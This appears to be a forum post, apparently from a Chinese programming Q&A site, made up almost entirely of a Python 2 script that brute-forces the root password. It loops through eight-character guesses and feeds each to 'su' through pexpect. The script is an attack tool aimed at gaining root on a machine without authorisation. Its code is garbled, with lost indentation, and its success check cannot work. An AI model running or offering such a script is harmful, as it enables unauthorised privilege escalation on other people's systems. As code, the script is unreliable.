flag = True while(flag): for i in 'abcdefABCDEFGHJghrjklmn0123456789opqrstuvwxyzKLMNQRSTUVWXYZ#': for j in 'abcdefghrjklmnopqrstuv0123456789wxyzABCDEFGHJKLMNQRSTUVWXYZ#': for k in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#': for l in 'abcdefghrj0123456789klmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#': for m in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#': for n in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#': for p in '012345678abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNOQRSTUVWXYZ#': for s in '0123456abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#': print '---------su-------------' breakroot=pexpect.spawn('su') breakroot.expect('Password') print i+j+k+l+m+n+p+s trypassword=i+j+k+l+m+n+p+s breakroot.sendline(trypassword) try: print '--------password=%s'%trypassword os.chdir('/etc') os.mkdir('testbreak') sys.exit() except OSError: continue -------------------- Double行动: 原帖分数:40 帖子加分:40 [解决办法]